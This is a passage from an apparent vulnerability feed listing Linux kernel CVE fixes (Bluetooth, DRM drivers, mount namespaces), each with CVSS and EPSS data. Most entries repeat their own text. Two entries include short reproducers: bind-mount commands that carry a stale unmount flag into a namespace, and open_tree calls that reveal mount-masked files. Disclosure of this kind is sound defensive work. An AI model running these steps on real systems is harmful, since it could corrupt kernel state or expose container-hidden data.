   iso_sock_create+0x94/0x100

  Freed by task 121:
   kfree+0x121/0x3c0
   __sk_destruct+0x42b/0x540
   iso_sock_release+0x29d/0x340
   __sock_release+0xa1/0x260

Check admission under the socket lock and mark the connect operation in
progress before publishing its destination. Keep that flag set across
route lookup and connection setup, rejecting another connect with
-EBADFD before it can change the destination or attach a connection.
Clear the flag after either helper returns, including on failure, so a
failed setup can be retried.

A separate flag is needed because the socket lock must be released before
acquiring the HCI device lock, while BT_CONNECT requires an attached
connection. Keep the existing state transitions and the deferred CIS
completion through iso_sock_recvmsg().

Reject an existing socket attachment in __iso_chan_add() before taking
a new reference or publishing either pointer, so every caller preserves
the connection association. Keep the same-socket, same-connection success
case for deferred CIS setup. Reject an attached socket before BIS setup
so a reusable BIS is not claimed before the attachment is rejected.

In CIS setup, reject a different HCI connection before iso_conn_add()
and drop the per-attempt HCI hold directly. An unowned iso_conn may still
carry another reference after detachment, so its destruction cannot be
relied on to release that hold.

iso_listen_bis() creates a fresh PA HCI/ISO pair under the device lock,
so the temporary iso_conn_put() frees the ISO candidate and drops its
HCI hold on rejection. iso_conn_ready() uses a freshly allocated,
unpublished child with no connection, making the socket-side rejection
unreachable.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: Bluetooth: SCO: serialise sco_conn lifetime against sco_recv_scodata()
https://kevwire.com/record/CVE-2026-99011
Linux kernel: Bluetooth: SCO: serialise sco_conn lifetime against sco_recv_scodata() (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

Bluetooth: SCO: serialise sco_conn lifetime against sco_recv_scodata()

sco_recv_scodata() upgrades the weak hcon->sco_data back-pointer to a
strong reference under hdev->lock:

    hci_dev_lock(hdev);
    hcon = hci_conn_hash_lookup_handle(hdev, handle);
    ...
    conn = sco_conn_hold_unless_zero(hcon->sco_data);
    hci_dev_unlock(hdev);

but the pointer is cleared from the other side without that lock. When
the last sco_conn reference is dropped, sco_conn_free() ran

    conn->hcon->sco_data = NULL;

with no hdev->lock held, so the RX path could read hcon->sco_data and
call kref_get_unless_zero() on an sco_conn that was concurrently freed:

    BUG: KASAN: slab-use-after-free in sco_conn_hold_unless_zero+0xbe/0x160
    Write of size 4 by task kworker/u17:0
    Workqueue: hci0 hci_rx_work
    Call Trace:
     sco_conn_hold_unless_zero+0xbe/0x160
     sco_recv_scodata+0x13f/0x490
     hci_rx_work+0x3af/0x730

kref_get_unless_zero() only guards against a zero refcount, not against
the backing memory already being freed.

Give hcon->sco_data an actual reference on the sco_conn it points to, so
the object cannot be freed while the pointer is still installed, and only
clear and drop it from sco_conn_del(), which runs under hdev->lock (its
callers, sco_connect_cfm() and sco_disconn_cfm(), hold it). The reader in
sco_recv_scodata() also takes hdev->lock, so the store and the read are
now serialised: the RX path either observes NULL or a reference that is
guaranteed to stay valid until it drops its own.

sco_conn_add() no longer hands its kref_init() reference to the caller as
the connection's only reference; that initial reference is the one owned
by hcon->sco_data, and callers get their own via sco_conn_hold().

Because the sco_conn can now outlive the socket (the association keeps it
alive until the link goes down), the hci_conn can no longer be dropped
from sco_conn_free() without regressing socket close: closing a connected
SCO socket must still tear the link down. Move hci_conn ownership to the
socket instead: __sco_chan_add() takes an hci_conn reference and it is
released from sco_chan_del()
CVSS 7.1 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99011).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99011&date=2026-10-25).
Sources:
NVD CVE-2026-99011: https://nvd.nist.gov/vuln/detail/CVE-2026-99011
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99011&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

Bluetooth: SCO: serialise sco_conn lifetime against sco_recv_scodata()

sco_recv_scodata() upgrades the weak hcon->sco_data back-pointer to a
strong reference under hdev->lock:

    hci_dev_lock(hdev);
    hcon = hci_conn_hash_lookup_handle(hdev, handle);
    ...
    conn = sco_conn_hold_unless_zero(hcon->sco_data);
    hci_dev_unlock(hdev);

but the pointer is cleared from the other side without that lock. When
the last sco_conn reference is dropped, sco_conn_free() ran

    conn->hcon->sco_data = NULL;

with no hdev->lock held, so the RX path could read hcon->sco_data and
call kref_get_unless_zero() on an sco_conn that was concurrently freed:

    BUG: KASAN: slab-use-after-free in sco_conn_hold_unless_zero+0xbe/0x160
    Write of size 4 by task kworker/u17:0
    Workqueue: hci0 hci_rx_work
    Call Trace:
     sco_conn_hold_unless_zero+0xbe/0x160
     sco_recv_scodata+0x13f/0x490
     hci_rx_work+0x3af/0x730

kref_get_unless_zero() only guards against a zero refcount, not against
the backing memory already being freed.

Give hcon->sco_data an actual reference on the sco_conn it points to, so
the object cannot be freed while the pointer is still installed, and only
clear and drop it from sco_conn_del(), which runs under hdev->lock (its
callers, sco_connect_cfm() and sco_disconn_cfm(), hold it). The reader in
sco_recv_scodata() also takes hdev->lock, so the store and the read are
now serialised: the RX path either observes NULL or a reference that is
guaranteed to stay valid until it drops its own.

sco_conn_add() no longer hands its kref_init() reference to the caller as
the connection's only reference; that initial reference is the one owned
by hcon->sco_data, and callers get their own via sco_conn_hold().

Because the sco_conn can now outlive the socket (the association keeps it
alive until the link goes down), the hci_conn can no longer be dropped
from sco_conn_free() without regressing socket close: closing a connected
SCO socket must still tear the link down. Move hci_conn ownership to the
socket instead: __sco_chan_add() takes an hci_conn reference and it is
released from sco_chan_del() and sco_sock_destruct(), exactly once. The
sco_conn no longer owns an hci_conn reference, so sco_conn_add() stops
consuming one and sco_connect() drops the hci_connect_sco() reference on
every path; sco_connect_cfm() no longer needs its hci_conn_hold() dance.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: drm/i915/gem: Prevent overstepping exec array boundary
https://kevwire.com/record/CVE-2026-99006
Linux kernel: drm/i915/gem: Prevent overstepping exec array boundary (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

drm/i915/gem: Prevent overstepping exec array boundary

It is possible for eb_relocate_parse_slow() to call kvfree() on
entries outside the original exec array during following
scenario inside eb_relocate_parse_slow():

1) eb_copy_relocations() allocates as many as eb->buffer_count
   copies for exec entries;
2) eb_parse() appends up to two VMAs, right after incrementing
   eb->buffer_count;
3) cleanup under "out" label uses this incremented buffer_count
   to release relocation pointers from exec array via kvfree(),
   not from VMA array.

To amend this problem, ensure that relocation cleanup uses the
original exec object count, excluding the VMAs appended by the
command parser.

(cherry picked from commit 2a0158925fb943c7ba8f3216e2734952128defc9)
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99006).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99006&date=2026-10-25).
Sources:
NVD CVE-2026-99006: https://nvd.nist.gov/vuln/detail/CVE-2026-99006
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99006&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

drm/i915/gem: Prevent overstepping exec array boundary

It is possible for eb_relocate_parse_slow() to call kvfree() on
entries outside the original exec array during following
scenario inside eb_relocate_parse_slow():

1) eb_copy_relocations() allocates as many as eb->buffer_count
   copies for exec entries;
2) eb_parse() appends up to two VMAs, right after incrementing
   eb->buffer_count;
3) cleanup under "out" label uses this incremented buffer_count
   to release relocation pointers from exec array via kvfree(),
   not from VMA array.

To amend this problem, ensure that relocation cleanup uses the
original exec object count, excluding the VMAs appended by the
command parser.

(cherry picked from commit 2a0158925fb943c7ba8f3216e2734952128defc9)

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: drm/vmwgfx: validate pitch coming from userspace
https://kevwire.com/record/CVE-2026-99002
Linux kernel: drm/vmwgfx: validate pitch coming from userspace (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

drm/vmwgfx: validate pitch coming from userspace

Validate the pitch, alongside the box dimensions before trying
to copy data from the underlying surface. Fixes possible
out of bounds reads with cursor snooping.
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99002).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99002&date=2026-10-25).
Sources:
NVD CVE-2026-99002: https://nvd.nist.gov/vuln/detail/CVE-2026-99002
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99002&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

drm/vmwgfx: validate pitch coming from userspace

Validate the pitch, alongside the box dimensions before trying
to copy data from the underlying surface. Fixes possible
out of bounds reads with cursor snooping.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: drm/xe: Fix stale pinned_link entry when fb-pin performs the final unpin
https://kevwire.com/record/CVE-2026-98999
Linux kernel: drm/xe: Fix stale pinned_link entry when fb-pin performs the final unpin (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

drm/xe: Fix stale pinned_link entry when fb-pin performs the final unpin

xe_bo_pin_external() and xe_bo_unpin_external() maintain the bo's
pinned_link list membership in xe->pinned.late.external, based on
whether the current call is the outermost pin or the final unpin.
However, the same external bo's pin_count can also be raised and
lowered directly by __xe_pin_fb_vma()/__xe_unpin_fb_vma(), which pin
the bo as a display scanout buffer without going through
xe_bo_pin_external()/xe_bo_unpin_external() at all, and have no
notion of, or ownership over, pinned_link.

If a bo is pinned both externally (e.g. dma-buf export) and as an fb,
and the external unpin happens first, xe_bo_unpin_external() correctly
observes pin_count > 1 and leaves the bo on pinned_link. When the fb
unpin later performs the true last unpin (pin_count 1 -> 0), it never
touches pinned_link, leaving the bo linked on xe->pinned.late.external
indefinitely. Once the bo is subsequently freed, this stale list entry
points into freed memory, corrupting the list and risking a
use-after-free the next time the list is walked or spliced.

The backup object pin/unpin sites in xe_bo_notifier_prepare_pinned()/
xe_bo_notifier_unprepare_pinned() have the same bypass characteristic,
though they never add their bo to a pinned list, so are not affected
by this particular list-corruption issue.

Move the pinned_link removal into xe_bo_account_unpin(), which already
runs on every unpin path (kernel, external, framebuffer, backup
object) right before the true 1 -> 0 pin_count transition. Since
list_del_init() only operates on the node itself, this removal is
list-agnostic and safe to perform regardless of which list (external
or kernel_bo_present) the bo happens to be linked on, or which code
path is performing the final unpin. Drop the now-redundant explicit
list_del_init() calls in xe_bo_unpin_external() and xe_bo_unpin().

v2:
- New patch

v3:
- Rebased on changes to previous patch.

(cherry picked from commit ca58d36a1f93af586ee93b340c9f9fd81312cc01)
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98999).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98999&date=2026-10-25).
Sources:
NVD CVE-2026-98999: https://nvd.nist.gov/vuln/detail/CVE-2026-98999
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98999&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

drm/xe: Fix stale pinned_link entry when fb-pin performs the final unpin

xe_bo_pin_external() and xe_bo_unpin_external() maintain the bo's
pinned_link list membership in xe->pinned.late.external, based on
whether the current call is the outermost pin or the final unpin.
However, the same external bo's pin_count can also be raised and
lowered directly by __xe_pin_fb_vma()/__xe_unpin_fb_vma(), which pin
the bo as a display scanout buffer without going through
xe_bo_pin_external()/xe_bo_unpin_external() at all, and have no
notion of, or ownership over, pinned_link.

If a bo is pinned both externally (e.g. dma-buf export) and as an fb,
and the external unpin happens first, xe_bo_unpin_external() correctly
observes pin_count > 1 and leaves the bo on pinned_link. When the fb
unpin later performs the true last unpin (pin_count 1 -> 0), it never
touches pinned_link, leaving the bo linked on xe->pinned.late.external
indefinitely. Once the bo is subsequently freed, this stale list entry
points into freed memory, corrupting the list and risking a
use-after-free the next time the list is walked or spliced.

The backup object pin/unpin sites in xe_bo_notifier_prepare_pinned()/
xe_bo_notifier_unprepare_pinned() have the same bypass characteristic,
though they never add their bo to a pinned list, so are not affected
by this particular list-corruption issue.

Move the pinned_link removal into xe_bo_account_unpin(), which already
runs on every unpin path (kernel, external, framebuffer, backup
object) right before the true 1 -> 0 pin_count transition. Since
list_del_init() only operates on the node itself, this removal is
list-agnostic and safe to perform regardless of which list (external
or kernel_bo_present) the bo happens to be linked on, or which code
path is performing the final unpin. Drop the now-redundant explicit
list_del_init() calls in xe_bo_unpin_external() and xe_bo_unpin().

v2:
- New patch

v3:
- Rebased on changes to previous patch.

(cherry picked from commit ca58d36a1f93af586ee93b340c9f9fd81312cc01)

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: namespace: reset the old parent's ->overmount in mnt_change_mountpoint()
https://kevwire.com/record/CVE-2026-98995
Linux kernel: namespace: reset the old parent's ->overmount in mnt_change_mountpoint() (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

namespace: reset the old parent's ->overmount in mnt_change_mountpoint()

__umount_mnt() resets ->overmount of the parent when it unmounts the
mount that overmounts it. mnt_change_mountpoint() doesn't. It moves the
mount to its new parent and leaves the old one pointing at it.

For a mount that is moved beneath in attach_recursive_mnt() that doesn't
matter. The new mount has already reset ->overmount of the old parent by
the time the old top mount is moved onto it.

It matters for reparent() though. propagate_umount() moves a surviving
overmount onto the first ancestor that isn't going to be unmounted. The
mount it was taken from is unmounted immediately afterwards. If a file
descriptor keeps that unmounted mount alive ->overmount points at the
moved mount. That's a dangling pointer and UAF as the moved mount is
unmounted and freed.

do_lock_mount() follows ->overmount from the target path under
mount_lock. With a file descriptor on such a mount as the target of a
mount beneath topmost_overmount() walks into the freed mount and
do_lock_mount() takes references on whatever it finds there.

So reset ->overmount of the old parent in mnt_change_mountpoint() the
same way __umount_mnt() does. A mount's ->overmount is then always a
mount that is attached to it.
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98995).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98995&date=2026-10-25).
Sources:
NVD CVE-2026-98995: https://nvd.nist.gov/vuln/detail/CVE-2026-98995
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98995&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

namespace: reset the old parent's ->overmount in mnt_change_mountpoint()

__umount_mnt() resets ->overmount of the parent when it unmounts the
mount that overmounts it. mnt_change_mountpoint() doesn't. It moves the
mount to its new parent and leaves the old one pointing at it.

For a mount that is moved beneath in attach_recursive_mnt() that doesn't
matter. The new mount has already reset ->overmount of the old parent by
the time the old top mount is moved onto it.

It matters for reparent() though. propagate_umount() moves a surviving
overmount onto the first ancestor that isn't going to be unmounted. The
mount it was taken from is unmounted immediately afterwards. If a file
descriptor keeps that unmounted mount alive ->overmount points at the
moved mount. That's a dangling pointer and UAF as the moved mount is
unmounted and freed.

do_lock_mount() follows ->overmount from the target path under
mount_lock. With a file descriptor on such a mount as the target of a
mount beneath topmost_overmount() walks into the freed mount and
do_lock_mount() takes references on whatever it finds there.

So reset ->overmount of the old parent in mnt_change_mountpoint() the
same way __umount_mnt() does. A mount's ->overmount is then always a
mount that is attached to it.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: namespace: don't inherit MNT_UMOUNT in clone_mnt()
https://kevwire.com/record/CVE-2026-98993
Linux kernel: namespace: don't inherit MNT_UMOUNT in clone_mnt() (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

namespace: don't inherit MNT_UMOUNT in clone_mnt()

MNT_UMOUNT gets raised on a mount that umount_tree() or umount_one() has
taken out of its namespace. It's never cleared. __detach_mounts()
unhooks a mount that carries it instead of unmounting it.

disconnect_mount() lets an unmounted child stay attached only if its
parent carries it. propagate_umount() takes it as the sign that a mount
is going to be unmounted when it decides what else can be unmounted,
where a chain of locked mounts ends and where a for reparenting an
overmount.

clone_mnt() copies the flags of the source and only masks
MNT_INTERNAL_FLAGS which doesn't include MNT_UMOUNT. A mount that was
lazily unmounted but is kept alive by a file descriptor can still be
copied when its root is an nsfs or pidfs file because may_copy_tree()
accepts those before checking whether the source is mounted at all:

  mount --bind /proc/self/ns/net /tmp/x
  exec 3< /tmp/x
  umount -l /tmp/x
  mount --bind /proc/self/fd/3 /tmp/y

The mount on /tmp/y is attached to the caller's namespace with
MNT_UMOUNT already set and every copy of it inherits the flag again.

That causes a number of bugs:

- Unlink its mountpoint from a mount namespace where it isn't one.
  __detach_mounts() takes it for a mount that was unmounted earlier,
  unhooks it from its parent and drops the reference the namespace
  holds on it. It stays in the namespace with one reference too few
  and as its own parent, so it can't be unmounted through the file
  descriptor anymore and the namespace never finds it again. When the
  namespace goes away it's leaked and points to a freed struct
  mnt_namespace that may_change_propagation() and anon_ns_root() read
  on the next propagation change or mount_setattr() through the file
  descriptor.

- Make it shared and unmount a peer. trace_transfers() follows the
  flag from the peer into it and strips it from its peer group.

- Let a propagated umount reach it. gather_candidates() marks it with
  T_UMOUNT_CANDIDATE but never puts it on the candidate list, so the
  mark is never cleared and every later propagated umount skips it. If
  it's the
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98993).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98993&date=2026-10-25).
Sources:
NVD CVE-2026-98993: https://nvd.nist.gov/vuln/detail/CVE-2026-98993
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98993&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

namespace: don't inherit MNT_UMOUNT in clone_mnt()

MNT_UMOUNT gets raised on a mount that umount_tree() or umount_one() has
taken out of its namespace. It's never cleared. __detach_mounts()
unhooks a mount that carries it instead of unmounting it.

disconnect_mount() lets an unmounted child stay attached only if its
parent carries it. propagate_umount() takes it as the sign that a mount
is going to be unmounted when it decides what else can be unmounted,
where a chain of locked mounts ends and where a for reparenting an
overmount.

clone_mnt() copies the flags of the source and only masks
MNT_INTERNAL_FLAGS which doesn't include MNT_UMOUNT. A mount that was
lazily unmounted but is kept alive by a file descriptor can still be
copied when its root is an nsfs or pidfs file because may_copy_tree()
accepts those before checking whether the source is mounted at all:

  mount --bind /proc/self/ns/net /tmp/x
  exec 3< /tmp/x
  umount -l /tmp/x
  mount --bind /proc/self/fd/3 /tmp/y

The mount on /tmp/y is attached to the caller's namespace with
MNT_UMOUNT already set and every copy of it inherits the flag again.

That causes a number of bugs:

- Unlink its mountpoint from a mount namespace where it isn't one.
  __detach_mounts() takes it for a mount that was unmounted earlier,
  unhooks it from its parent and drops the reference the namespace
  holds on it. It stays in the namespace with one reference too few
  and as its own parent, so it can't be unmounted through the file
  descriptor anymore and the namespace never finds it again. When the
  namespace goes away it's leaked and points to a freed struct
  mnt_namespace that may_change_propagation() and anon_ns_root() read
  on the next propagation change or mount_setattr() through the file
  descriptor.

- Make it shared and unmount a peer. trace_transfers() follows the
  flag from the peer into it and strips it from its peer group.

- Let a propagated umount reach it. gather_candidates() marks it with
  T_UMOUNT_CANDIDATE but never puts it on the candidate list, so the
  mark is never cleared and every later propagated umount skips it. If
  it's the parent of a locked mount handle_locked() takes it as the
  cutoff and commits the locked child that should have stayed and
  disconnect_mount() leaves that child attached to it, unmounted under
  a mounted parent, which is what disconnect_mount() exists to
  prevent. When the namespace goes away umount_tree() visits the child
  a second time. And once __detach_mounts() has made it its own parent
  reparent() never finds the end of the chain of unmounted parents.

A clone is a new mount that has never been unmounted. Add MNT_UMOUNT
to MNT_INTERNAL_FLAGS so clone_mnt() never copies it. And warn when
umount_tree() reaches a mount that already has it set.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: namespace: queue a mount only once for mount notifications
https://kevwire.com/record/CVE-2026-98991
Linux kernel: namespace: queue a mount only once for mount notifications (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

namespace: queue a mount only once for mount notifications

mnt_notify_add() puts a mount on notify_list. It doesn't check whether
the mount is on the list already. That's fine as long as every mount is
queued at most once per namespace_sem hold. It isn't.

propagate_umount() moves a surviving overmount off a stack of mounts
that are going away and queues it as moved. shrink_submounts() and
mark_mounts_for_expiry() call umount_tree() for several mounts under a
single namespace_sem hold. So the second umount_tree() can take down
exactly the mount the first one reparented, reparent it once more and so
end up queueing it a second time.

The second list_add_tail() cuts the mounts queued in between out of the
list while the head still points at the last of them. notify_mnt_list()
then only visits that one mount and the others are freed after the grace
period with notify_list still pointing at them. Every later mount
operation on the host walks freed memory:

  BUG: KASAN: slab-use-after-free in __list_add_valid_or_report
  Read of size 8 at addr ffff8881003d57e0 by task notify_dq/162
   __list_add_valid_or_report+0x15c/0x1a0
   mnt_add_to_ns+0x322/0x890
   attach_recursive_mnt.isra.0+0xf2a/0x1a00
   path_mount+0x139c/0x1d40

This needs a mount with MNT_SHRINKABLE to bind from. That's what
finish_automount() creates (submounts of NFS, AFS and CIFS and the
tracefs mount below debugfs). Bind mounts inherit the flag. A mount
namespace with a FAN_MARK_MNTNS mark does the rest and root in a user
namespace can have both.

Initialize to_notify in alloc_vfsmnt() and leave a mount alone that is
queued already. mnt_notify() looks at the state the mount has when the
list is drained so a single entry per mount is enough. The move event
for a mount that is unmounted under the same hold is lost. That's fine.
The detach is what matters.
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98991).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98991&date=2026-10-25).
Sources:
NVD CVE-2026-98991: https://nvd.nist.gov/vuln/detail/CVE-2026-98991
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98991&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

namespace: queue a mount only once for mount notifications

mnt_notify_add() puts a mount on notify_list. It doesn't check whether
the mount is on the list already. That's fine as long as every mount is
queued at most once per namespace_sem hold. It isn't.

propagate_umount() moves a surviving overmount off a stack of mounts
that are going away and queues it as moved. shrink_submounts() and
mark_mounts_for_expiry() call umount_tree() for several mounts under a
single namespace_sem hold. So the second umount_tree() can take down
exactly the mount the first one reparented, reparent it once more and so
end up queueing it a second time.

The second list_add_tail() cuts the mounts queued in between out of the
list while the head still points at the last of them. notify_mnt_list()
then only visits that one mount and the others are freed after the grace
period with notify_list still pointing at them. Every later mount
operation on the host walks freed memory:

  BUG: KASAN: slab-use-after-free in __list_add_valid_or_report
  Read of size 8 at addr ffff8881003d57e0 by task notify_dq/162
   __list_add_valid_or_report+0x15c/0x1a0
   mnt_add_to_ns+0x322/0x890
   attach_recursive_mnt.isra.0+0xf2a/0x1a00
   path_mount+0x139c/0x1d40

This needs a mount with MNT_SHRINKABLE to bind from. That's what
finish_automount() creates (submounts of NFS, AFS and CIFS and the
tracefs mount below debugfs). Bind mounts inherit the flag. A mount
namespace with a FAN_MARK_MNTNS mark does the rest and root in a user
namespace can have both.

Initialize to_notify in alloc_vfsmnt() and leave a mount alone that is
queued already. mnt_notify() looks at the state the mount has when the
list is drained so a single entry per mount is enough. The move event
for a mount that is unmounted under the same hold is lost. That's fine.
The detach is what matters.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: namespace: keep covered mounts covered in OPEN_TREE_NAMESPACE
https://kevwire.com/record/CVE-2026-98988
Linux kernel: namespace: keep covered mounts covered in OPEN_TREE_NAMESPACE (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

namespace: keep covered mounts covered in OPEN_TREE_NAMESPACE

open_tree(OPEN_TREE_NAMESPACE) creates a new mount namespace from a
copy of the tree at the given path. The caller needs to be privileged
over its current user namespace because the new mount namespace will be
owned by it. It doesn't need to be privileged over the mount namespace
the tree is copied from. An unprivileged user just needs to create a
user namespace first.

The copy follows the rules of a detached bind mount. Without
AT_RECURSIVE only the mount itself is cloned and its children are left
out. With AT_RECURSIVE unbindable mounts are skipped. Both is fine when
the caller has privileges over the source mount namespace because it
could unmount those mounts anyway. Not so for an unprivileged user in
that mount namespace. For them a mount namespace copy is what unshare()
does. copy_mnt_ns() copies everything including unbindable mounts and
lock_mnt_tree() makes sure nothing can be unmounted in the copy. Nothing
that was covered gets revealed.

create_new_namespace() only does the locking and so the covered content
is right there in the new mount namespace:

  # mount -t tmpfs none /tmp/otn; mkdir /tmp/otn/covered
  # echo hidden > /tmp/otn/covered/under.txt
  # mount -t tmpfs none /tmp/otn/covered

  uid 1000, after unshare(CLONE_NEWUSER):
  fd = open_tree(AT_FDCWD, "/tmp/otn", OPEN_TREE_NAMESPACE);
  setns(fd, CLONE_NEWNS);
  open("/covered/under.txt", O_RDONLY)  -> "hidden"

Covering paths with mounts is how container runtimes mask parts of
/proc and /sys and how admins hide things.

When the caller's user namespace doesn't own the source mount namespace
copy the way unshare() does and refuse a non-recursive copy of a mount
that has anything mounted below the requested directory and copy
unbindable mounts in a recursive copy. A caller that is privileged over
the source mount namespace sees no change.
CVSS 8.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98988).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98988&date=2026-10-25).
Sources:
NVD CVE-2026-98988: https://nvd.nist.gov/vuln/detail/CVE-2026-98988
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98988&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

namespace: keep covered mounts covered in OPEN_TREE_NAMESPACE

open_tree(OPEN_TREE_NAMESPACE) creates a new mount namespace from a
copy of the tree at the given path. The caller needs to be privileged
over its current user namespace because the new mount namespace will be
owned by it. It doesn't need to be privileged over the mount namespace
the tree is copied from. An unprivileged user just needs to create a
user namespace first.

The copy follows the rules of a detached bind mount. Without
AT_RECURSIVE only the mount itself is cloned and its children are left
out. With AT_RECURSIVE unbindable mounts are skipped. Both is fine when
the caller has privileges over the source mount namespace because it
could unmount those mounts anyway. Not so for an unprivileged user in
that mount namespace. For them a mount namespace copy is what unshare()
does. copy_mnt_ns() copies everything including unbindable mounts and
lock_mnt_tree() makes sure nothing can be unmounted in the copy. Nothing
that was covered gets revealed.

create_new_namespace() only does the locking and so the covered content
is right there in the new mount namespace:

  # mount -t tmpfs none /tmp/otn; mkdir /tmp/otn/covered
  # echo hidden > /tmp/otn/covered/under.txt
  # mount -t tmpfs none /tmp/otn/covered

  uid 1000, after unshare(CLONE_NEWUSER):
  fd = open_tree(AT_FDCWD, "/tmp/otn", OPEN_TREE_NAMESPACE);
  setns(fd, CLONE_NEWNS);
  open("/covered/under.txt", O_RDONLY)  -> "hidden"

Covering paths with mounts is how container runtimes mask parts of
/proc and /sys and how admins hide things.

When the caller's user namespace doesn't own the source mount namespace
copy the way unshare() does and refuse a non-recursive copy of a mount
that has anything mounted below the requested directory and copy
unbindable mounts in a recursive copy. A caller that is privileged over
the source mount namespace sees no change.

